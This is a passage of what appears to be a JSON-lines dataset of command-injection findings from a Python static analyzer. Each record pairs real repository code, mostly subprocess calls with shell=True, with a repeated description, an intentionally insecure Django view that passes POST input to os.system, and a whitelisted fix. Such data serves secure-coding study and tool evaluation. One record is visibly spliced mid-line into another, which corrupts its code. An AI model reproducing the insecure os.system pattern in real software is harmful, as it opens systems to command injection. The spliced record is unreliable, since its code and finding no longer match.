on_enter=ExtensionCustomAction(\n                                    {'action': 'reload'}))\n        ])", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 65, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "ca61a123fbae9a0a59dd2eaa032eed79b04bbbd6489864a2daa492703087cd85", "license": {"spdx": ["MIT"], "repo": "mpeters/movie_rating", "path": "test_basic.py", "repo_head_hexsha": "307188ee2908e42bcdc4e98114a7fe9ae264ebeb", "stack_hexsha": "2eea8d34fe53d8a8743f98b68b96db418c9710d2", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 41, "entireCode": "import unittest\nimport subprocess\nimport re\nfrom os import environ\n\nclass MoveRatingTestBasic(unittest.TestCase):\n    def setUp(self):\n        if environ.get('OMDB_API_KEY') is None or len(environ.get('OMDB_API_KEY')) < 1:\n            raise Exception(\"The OMDB_API_KEY environment variable is not set. Unable to run tests without it\")\n\n    def test_existing_movie(self):\n        p = self._movie_rating_cmd(\"--title 'Guardians of the Galaxy'\")\n        rating = p.stdout.rstrip()\n        self.assertTrue(re.match(r'^\\d\\d%$', rating), \"Existing movie has a rating ({})\".format(p.stdout))\n\n    def test_existing_movie_bad_year(self):\n        p = self._movie_rating_cmd(\"--title 'Guardians of the Galaxy' --year 1999\")\n        self.assertNotEqual(p.returncode, 0, \"Non-zero return code\")\n        self.assertTrue(p.stdout == \"\", \"Bad Year ({}) doesn't have a rating\")\n        error = p.stderr.rstrip()\n        self.assertEqual(\"We're sorry, but a movie by that name (Guardians of the Galaxy) in that year (1999) was not found\", error, \"Correct error for bad year\")\n\n    def test_typo_movie(self):\n        p = self._movie_rating_cmd(\"--title 'Napolean Dynamite'\")\n        self.assertNotEqual(p.returncode, 0, \"Non-zero return code\")\n        self.assertTrue(p.stdout == \"\", \"Typo ({}) doesn't have a rating\")\n        error = p.stderr.rstrip()\n        self.assertEqual(\"We're sorry, but a movie by that name (Napolean Dynamite) was not found\", error, \"Correct error for typo movie\")\n\n    def test_missing_title(self):\n        p = self._movie_rating_cmd(\"\")\n        self.assertNotEqual(p.returncode, 0, \"Non-zero return code\")\n        self.assertTrue('arguments are required: --title' in p.stderr, \"Correct error for missing title\")\n\n    def test_invalid_year(self):\n        p = self._movie_rating_cmd(\"--title Foo --year 200a\")\n        self.assertNotEqual(p.returncode, 0, \"Non-zero return code\")\n        self.assertTrue('--year: invalid int value' in p.stderr, \"Correct error for invalid year\")\n\n    def test_invalid_api_key(self):\n        p = subprocess.run(\"/usr/src/app/movie_rating.py --api-key foo --title foo\", shell=True, capture_output=True, text=True)\n        self.assertNotEqual(p.returncode, 0, \"Non-zero return code\")\n        self.assertTrue(\"API Key was not valid\" in p.stderr, \"Correct error for invalid api-key\")\n\n\n    def _movie_rating_cmd(self, args):\n        p = subprocess.run(\"/usr/src/app/movie_rating.py {}\".format(args), shell=True, capture_output=True, text=True)\n        return p\n\nif __name__ == '__main__':\n    unittest.main()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 41, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "195aadb03a75471949e3d589bbd7221950da64f49340952533715bbf6ea35fb3", "license": {"spdx": ["MIT"], "repo": "MattCJones/engutils", "path": "tests/checkstyle.py", "repo_head_hexsha": "0115f1896f72f475d9073073469d3495ce511f2f", "stack_hexsha": "1b76f5bb1aa93e1e73ce925999a4fb1d6faa34a6", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 18, "entireCode": "#!/usr/bin/env python3\n\"\"\"\nCheck that PEP8 format is followed\n\nAuthor: \nEmail: \n\n:copyright: 2020 by Optionset authors, see AUTHORS for more details.\n:license: GPLv3, see LICENSE for more details.\n\"\"\"\nimport subprocess\n\n\ndef check_format(py_file_path):\n    \"\"\"Check format of Python file. \"\"\"\n    print(\"=\"*60)\n    run_str = f\"pycodestyle -v {py_file_path}\"\n    subproc = subprocess.run(run_str, shell=True, capture_output=True,\n                             check=False)\n    print(subproc.stdout.decode('UTF-8'), end='')\n    print(\"=\"*60)\n\n\ncheck_format(\"../engutils/engutils.py\")\ncheck_format(\"runtests.py\")", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 18, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "ed36cd0193fa17e50a0b60b3d150bb50b291d83ca1dc50519c2679546239a920", "license": {"spdx": ["Apache-2.0"], "repo": "Human-Lambdas/human-lambdas", "path": "src/human_lambdas/hl_cli.py", "repo_head_hexsha": "9a2f2317f0c8dbfbfa88f3ba4994de7e6b2c4d50", "stack_hexsha": "b68483bd58312eb317c7553af88ae9c0f3a75f5f", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 36, "entireCode": "import os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom subprocess import PIPE\n\nimport click\n\n\n@click.group()\ndef cli():\n    if \"POSTGRES_DB\" in os.environ:\n        click.echo(\n            click.style(\n                \"POSTGRES_DB is set, will try to run against remote DB\",\n                fg=\"yellow\",\n            )\n        )\n    else:\n        click.echo(\"Running against local sqlite\")\n\n\n@click.command()\ndef up():\n    \"\"\"Starts Human Lambdas\"\"\"\n    html = Path(__file__).parent / \"html\"\n    html.mkdir(exist_ok=True)\n    html_tgz = Path(__file__).parent / \"frontend.tgz\"\n\n    shutil.unpack_archive(html_tgz, extract_dir=html)\n    click.echo(\"Human Lambdas web running on http://localhost:8000/\")\n    gunicorn = Path(sys.executable).parent / \"gunicorn\"\n    cmd = f\"{gunicorn.as_posix()} human_lambdas.hl_rest_api.wsgi -b 0.0.0.0:8000 -w 1 -t 1 --timeout 0 --preload\"\n    click.echo(f\"Running {cmd}\")\n    subprocess.run(\n        cmd,\n        shell=True,\n        stdin=PIPE,\n        stdout=PIPE,\n        check=True,\n    )\n\n\n@click.command()\ndef initdb():\n    \"\"\"Initializes the Human Lambdas Database\"\"\"\n    cmd = f\"{sys.executable} -m human_lambdas.manage migrate\"\n    click.echo(f\"Running {cmd}\")\n\n    subprocess.run(\n        cmd,\n        shell=True,\n        stdin=PIPE,\n        stdout=PIPE,\n        check=True,\n    )\n\n\ncli.add_command(up)\ncli.add_command(initdb)\n\nif __name__ == \"__main__\":\n    cli()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 36, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "734c65011a8ebf994950d91c4143e649bc778e518cde0fbf7614d2a20cb2d49f", "license": {"spdx": ["MIT"], "repo": "yizaochen/smsl_na", "path": "curves/curves/curves_main_util.py", "repo_head_hexsha": "b4f52b358d98de500a74e9ef2165ff4904dd9e85", "stack_hexsha": "e10c360e3b8583e1f1cb126918437c58ff7db926", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 126, "entireCode": "from os import path, remove\nimport subprocess\nfrom glob import glob\nfrom shutil import move\nimport MDAnalysis as mda\nfrom miscell.file_util import check_dir_exist_and_make, check_file_exist, copy_verbose\nfrom miscell.na_bp import d_n_bp, d_type_na\nfrom pdb_util.pdb import PDBReader, PDBWriter\n\n\nclass PreliminaryAgent:\n    d_new_resname = {'RA5': 'A', 'RA3': 'A', 'RA': 'A',\n                     'RU5': 'U', 'RU3': 'U', 'RU': 'U',\n                     'RC5': 'C', 'RC3': 'C', 'RC': 'C',\n                     'RG5': 'G', 'RG3': 'G', 'RG': 'G'}\n\n    def __init__(self, rootfolder, host):\n        self.rootfolder = rootfolder\n        self.host = host\n        self.n_bp = d_n_bp[host]\n\n        self.host_folder = path.join(rootfolder, host)\n        self.pdb_xtc_folder = path.join(self.host_folder, 'pdb_xtc')\n        self.single_pdb_folder = path.join(self.host_folder, 'single_pdb')\n        self.lis_folder = path.join(self.host_folder, 'lis')\n        self.haxis_smooth_folder = path.join(self.host_folder, 'haxis_smooth')\n        self.workspace_folder = path.join(self.host_folder, 'workspace')\n\n        self.input_pdb_backup = path.join(self.pdb_xtc_folder, f'input.backup.pdb')\n        self.input_pdb = path.join(self.pdb_xtc_folder, f'input.pdb')\n        self.input_xtc = path.join(self.pdb_xtc_folder, f'input.xtc')\n        self.input_pdb_exist = None\n        self.input_xtc_exist = None\n\n    def initialize_folders(self):\n        for folder in [self.host_folder, self.pdb_xtc_folder, self.single_pdb_folder, self.lis_folder, \n                       self.haxis_smooth_folder, self.workspace_folder]:\n            check_dir_exist_and_make(folder)\n\n    def check_input_pdb_xtc(self):\n        self.input_pdb_exist = check_file_exist(self.input_pdb)\n        self.input_xtc_exist = check_file_exist(self.input_xtc)\n\n    def copy_input_pdb_xtc(self, old_pdb, old_xtc):\n        copy_verbose(old_pdb, self.input_pdb)\n        copy_verbose(old_xtc, self.input_xtc)\n        self.check_input_pdb_xtc()\n\n    def vmd_check_pdb_xtc(self):\n        cmd = f'vmd -pdb {self.input_pdb} {self.input_xtc}'\n        print(cmd)\n\n    def vim_check_pdb(self):\n        resid_i = self.n_bp + 1\n        resid_j = self.n_bp * 2\n        print(f'Please check the resid of second strand is from {resid_i} to {resid_j}')\n        print('If not, please add A and B at the end of the lines for the two strands by vim command')\n        print(\":{line_begin},{line_end}s/$/A/g\")\n        print(\":{line_begin},{line_end}s/$/B/g\")\n        print('Remember to trim the file becuase of PDBReader skip_header=1, skip_footer=1')\n        print(f'vim {self.input_pdb}')\n\n    def check_rna_with_modify_resname(self):\n        if self.is_rna():\n            copy_verbose(self.input_pdb, self.input_pdb_backup)\n            reader = PDBReader(self.input_pdb, segid_exist=False)\n            atgs = reader.get_atomgroup()\n            for atom in atgs:\n                self.modify_rna_resname(atom)\n            writer = PDBWriter(self.input_pdb, atgs)\n            writer.write_pdb()\n\n    def is_rna(self):\n        type_na = d_type_na[self.host]\n        return type_na == 'arna+arna'\n\n    def modify_rna_resname(self, atom):\n        new_resname = self.d_new_resname[atom.resname]\n        atom.set_resname(new_resname)\n\n    def change_input_pdb_resid(self, execute=False):\n        if execute:\n            copy_verbose(self.input_pdb, self.input_pdb_backup)\n            reader = PDBReader(self.input_pdb, segid_exist=True)\n            atgs = reader.get_atomgroup()\n            for atom in atgs:\n                if atom.segid == 'B':\n                    atom.resid += self.n_bp \n            writer = PDBWriter(self.input_pdb, atgs)\n            writer.write_pdb()\n\nclass ExtractPDBAgent(PreliminaryAgent):\n    def __init__(self, rootfolder, host):\n        super().__init__(rootfolder, host)\n        self.u = mda.Universe(self.input_pdb, self.input_xtc)\n\n    def get_n_frames(self):\n        return len(self.u.trajectory)\n\n    def print_n_frames(self):\n        n_frame = self.get_n_frames()\n        print(f'n_frame: {n_frame}')\n        \n    def extract_pdb_from_xtc(self, start_frame, stop_frame):\n        for ts in self.u.trajectory[start_frame:stop_frame]:\n            pdb_out = path.join(self.single_pdb_folder, f'{ts.frame}.pdb')\n            self.process_single_frame(pdb_out)\n            if ts.frame % 500 == 0:\n                print(f'Extract PDB for {self.host}, Frame-ID: {ts.frame}')\n\n    def process_single_frame(self, pdb_out):\n        with mda.Writer(pdb_out, bonds=None, n_atoms=self.u.atoms.n_atoms) as PDBOUT:\n            PDBOUT.write(self.u.atoms)\n\nclass ExecCurvesAgent(ExtractPDBAgent):\n    lis_name = 'r+bdna'\n\n    def execute_curve_plus(self, start_frame, stop_frame):\n        for frame_id in range(start_frame, stop_frame):\n            self.clean_files()\n            f_single_pdb = path.join(self.single_pdb_folder, f'{frame_id}.pdb')  \n            # Start to execute curves\n            cmd = self.get_exectue_curve_plus_cmd(f_single_pdb)\n            errlog = open(path.join(self.workspace_folder, 'err.log'), 'w')\n            outlog = open(path.join(self.workspace_folder, 'out.log'), 'w')\n            subprocess.run(cmd, shell=True, stdout=outlog, stderr=errlog,check=False)\n            errlog.close()\n            outlog.close()\n            # Store .lis and _X.pdb files\n            workspace_lis = path.join(self.workspace_folder, f'{self.lis_name}.lis')\n            workspace_pdb = path.join(self.workspace_folder, f'{self.lis_name}_X.pdb')\n            f_lis = path.join(self.lis_folder, f'{frame_id}.lis')\n            f_x_pdb = path.join(self.haxis_smooth_folder, f'{frame_id}.pdb')\n            move(workspace_lis, f_lis)\n            move(workspace_pdb, f_x_pdb)\n            if frame_id % 500 == 0:\n                print(f'Curves+ for {self.host}, Frame-ID: {frame_id}')\n\n    def clean_files(self):\n        pathname = path.join(self.workspace_folder, f'{self.lis_name}*')\n        filelist = glob(pathname)\n        if len(filelist) != 0:\n            for fname in filelist:\n                remove(fname)\n\n    def get_exectue_curve_plus_cmd(self, f_single_pdb):\n        curve = '/home/yizaochen/opt/curves+/Cur+'\n        inp_end_txt = self.get_inp_end(f_single_pdb)\n        n1, n2, n3, n4 = self.get_four_numbers()\n        cmd1 = f'{curve} <, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 31, "entireCode": "from src import fastarg\nimport subprocess\n\ndef test_foo():\n    assert 'foo'.upper() == 'FOO'\n\ndef test_fastarg_no_methods():\n    app = fastarg.Fastarg()\n\n    assert len(app.commands) == 0\n\ndef test_fastarg_one_method():\n    app = fastarg.Fastarg()\n\n    @app.command()\n    def foo():\n        print(\"foo\")\n\n    assert len(app.commands) == 1\n\ndef test_command_get_name():\n    app = fastarg.Fastarg()\n\n    @app.command()\n    def foo():\n        print(\"foo\")\n\n    assert app.commands[0].get_name() == \"foo\"\n\ndef test_hello_world():\n    completed_process = subprocess.run(\"python3 main.py hello_world foo\", shell=True, capture_output=True)\n    assert completed_process.stdout.decode(\"utf-8\") == \"hello foo\\n\"\n\ndef test_create_todo():\n    completed_process = subprocess.run(\"python3 main.py todo create_todo \\\"drink water\\\"\", shell=True, capture_output=True)\n    assert completed_process.stdout.decode(\"utf-8\") == \"create todo: drink water - False\\n\"\n\ndef test_create_todo_completed():\n    completed_process = subprocess.run(\"python3 main.py todo create_todo \\\"drink water\\\" --completed\", shell=True, capture_output=True)\n    assert completed_process.stdout.decode(\"utf-8\") == \"create todo: drink water - True\\n\"\n\ndef test_create_address():\n    completed_process = subprocess.run(\"python3 main.py user address create_address 123 \\\"456 main st\\\" --city bellevue --state wa --zip 98004\", shell=True, capture_output=True)\n    assert completed_process.stdout.decode(\"utf-8\") == \"creating address for user 123\\n456 main st bellevue wa 98004\\n\"", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 31, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "94d2e0853ad7dc1716b7a04ef732900b71adfef164145ce0831a595514381a83", "license": {"spdx": ["Apache-2.0"], "repo": "saito-hideki/ansible-navigator", "path": "tests/integration/actions/doc/test_stdout_subprocess.py", "repo_head_hexsha": "0a15b83c2a9a548315765360bd19d6fd270862d4", "stack_hexsha": "c0bf41576438eb8ba471edb1db48b910e2ccff5b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 120, "entireCode": "\"\"\"Test doc using subprocess.\"\"\"\nimport subprocess\n\nfrom dataclasses import dataclass\nfrom pathlib import Path\nfrom typing import Tuple\n\nimport pytest\n\nfrom ansible_navigator.utils.functions import shlex_join\n\n\nBUILTINS = (\n    \"validate_argument_spec\",\n    \"wait_for_connection\",\n    \"yum_repository\",\n)\n\n\n@dataclass(frozen=True)\nclass StdoutCliTest:\n    \"\"\"Definition of a stdout cli test.\"\"\"\n\n    comment: str\n    \"\"\"Description of the test\"\"\"\n    params: Tuple[str, ...]\n    \"\"\"Parameters for the subcommand\"\"\"\n    expected: Tuple[str, ...] = BUILTINS\n    \"\"\"Expected output\"\"\"\n    subcommand: str = \"doc\"\n\n    def __str__(self) -> str:\n        \"\"\"Provide a test id.\n\n        :returns: The test id\n        \"\"\"\n        return self.comment\n\n    @property\n    def command(self) -> Tuple[str, ...]:\n        \"\"\"Provide the constructed command.\n\n        :returns: The constructed command\n        \"\"\"\n        return (\"ansible-navigator\", self.subcommand) + self.params\n\n\n# Intentionally not using parametrize so the behavior can be documented\nStdoutCliTests = (\n    StdoutCliTest(\n        comment=\"-l\",\n        params=(\"-l\",),\n    ),\n    StdoutCliTest(\n        comment=\"--list\",\n        params=(\"--list\",),\n    ),\n    StdoutCliTest(\n        comment=\"-F\",\n        params=(\"-F\",),\n    ),\n    StdoutCliTest(\n        comment=\"--list_files\",\n        params=(\"--list_files\",),\n    ),\n    StdoutCliTest(\n        comment=\"-s\",\n        params=(\n            \"debug\",\n            \"-s\",\n        ),\n        expected=(\n            \"name:\",\n            \"debug:\",\n            \"msg:\",\n        ),\n    ),\n    StdoutCliTest(\n        comment=\"--snippet\",\n        params=(\n            \"debug\",\n            \"--snippet\",\n        ),\n        expected=(\n            \"name:\",\n            \"debug:\",\n            \"msg:\",\n        ),\n    ),\n    StdoutCliTest(\n        comment=\"--metadata-dump\",\n        params=(\"--metadata-dump\",),\n    ),\n)\n\n\n@pytest.mark.usefixtures(\"use_venv\")\n@pytest.mark.parametrize(argnames=\"data\", argvalues=StdoutCliTests, ids=str)\n@pytest.mark.parametrize(argnames=\"exec_env\", argvalues=(True, False), ids=(\"ee_true\", \"ee_false\"))\ndef test(\n    monkeypatch: pytest.MonkeyPatch,\n    tmp_path: Path,\n    data: StdoutCliTest,\n    exec_env: bool,\n) -> None:\n    \"\"\"Test doc using subcommand.\n\n    :param monkeypatch: The monkeypatch fixture\n    :param tmp_path: The temporary path to use\n    :param data: The test data\n    :param exec_env: Whether to use the exec environment\n    :raises AssertionError: When test fails\n    \"\"\"\n    log_file = str(tmp_path / \"log.txt\")\n    monkeypatch.setenv(\"PAGER\", \"cat\")\n    monkeypatch.setenv(\"NO_COLOR\", \"true\")\n    command = shlex_join(\n        data.command + (\"--lf\", log_file, \"--ee\", str(exec_env), \"--set-env\", \"PAGER=cat\"),\n    )\n    proc_out = subprocess.run(\n        command,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.PIPE,\n        check=False,\n        universal_newlines=True,\n        shell=True,\n    )\n    assert all((d in proc_out.stdout for d in data.expected))", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 120, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "40eb34b15268cd89334c6de47a8107e227d2ecb2592dccd419f1a89de9afeac2", "license": {"spdx": ["MIT"], "repo": "kadnan/Neo4jPythonModulesVisualization", "path": "utilities.py", "repo_head_hexsha": "45ae630b348795f14593f3060d59f034898141d3", "stack_hexsha": "4bf0318d0fe8267ee5382225da26c18475a4a98b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 12, "entireCode": "from subprocess import PIPE, run\nimport pkg_resources\n\n\ndef get_pip_list():\n    installed_packages = {d.project_name: d.version for d in pkg_resources.working_set}\n    return installed_packages\n\n\n# This function executed pip show command and return all dependents after parsing.\ndef get_package_detail(name):\n    result = run(\"pip show {}\".format(name), stdout=PIPE, stderr=PIPE, universal_newlines=True, shell=True)\n    detail = result.stdout\n    detail_parts = detail.split('\\n')\n    dependents = []\n\n    for part in detail_parts:\n        if part != '' and 'Required-by' in part:\n            part = part.replace('Required-by:', '').strip()\n            part = part.replace(' ', '')\n            dependents = part.split(',')\n    return dependents", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 12, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "1ec6612d7ca1da7345224dca72a985086753a1f1835fecabe05f3578e8b26935", "license": {"spdx": ["MIT"], "repo": "theenoob/mech", "path": "mech/tests/test_int_simple_virtualbox.py", "repo_head_hexsha": "f77b56b585fca5261e2f6a77f8e28597126a8cff", "stack_hexsha": "605a463c4d346636424e4ff52f962f106ca3aac5", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", 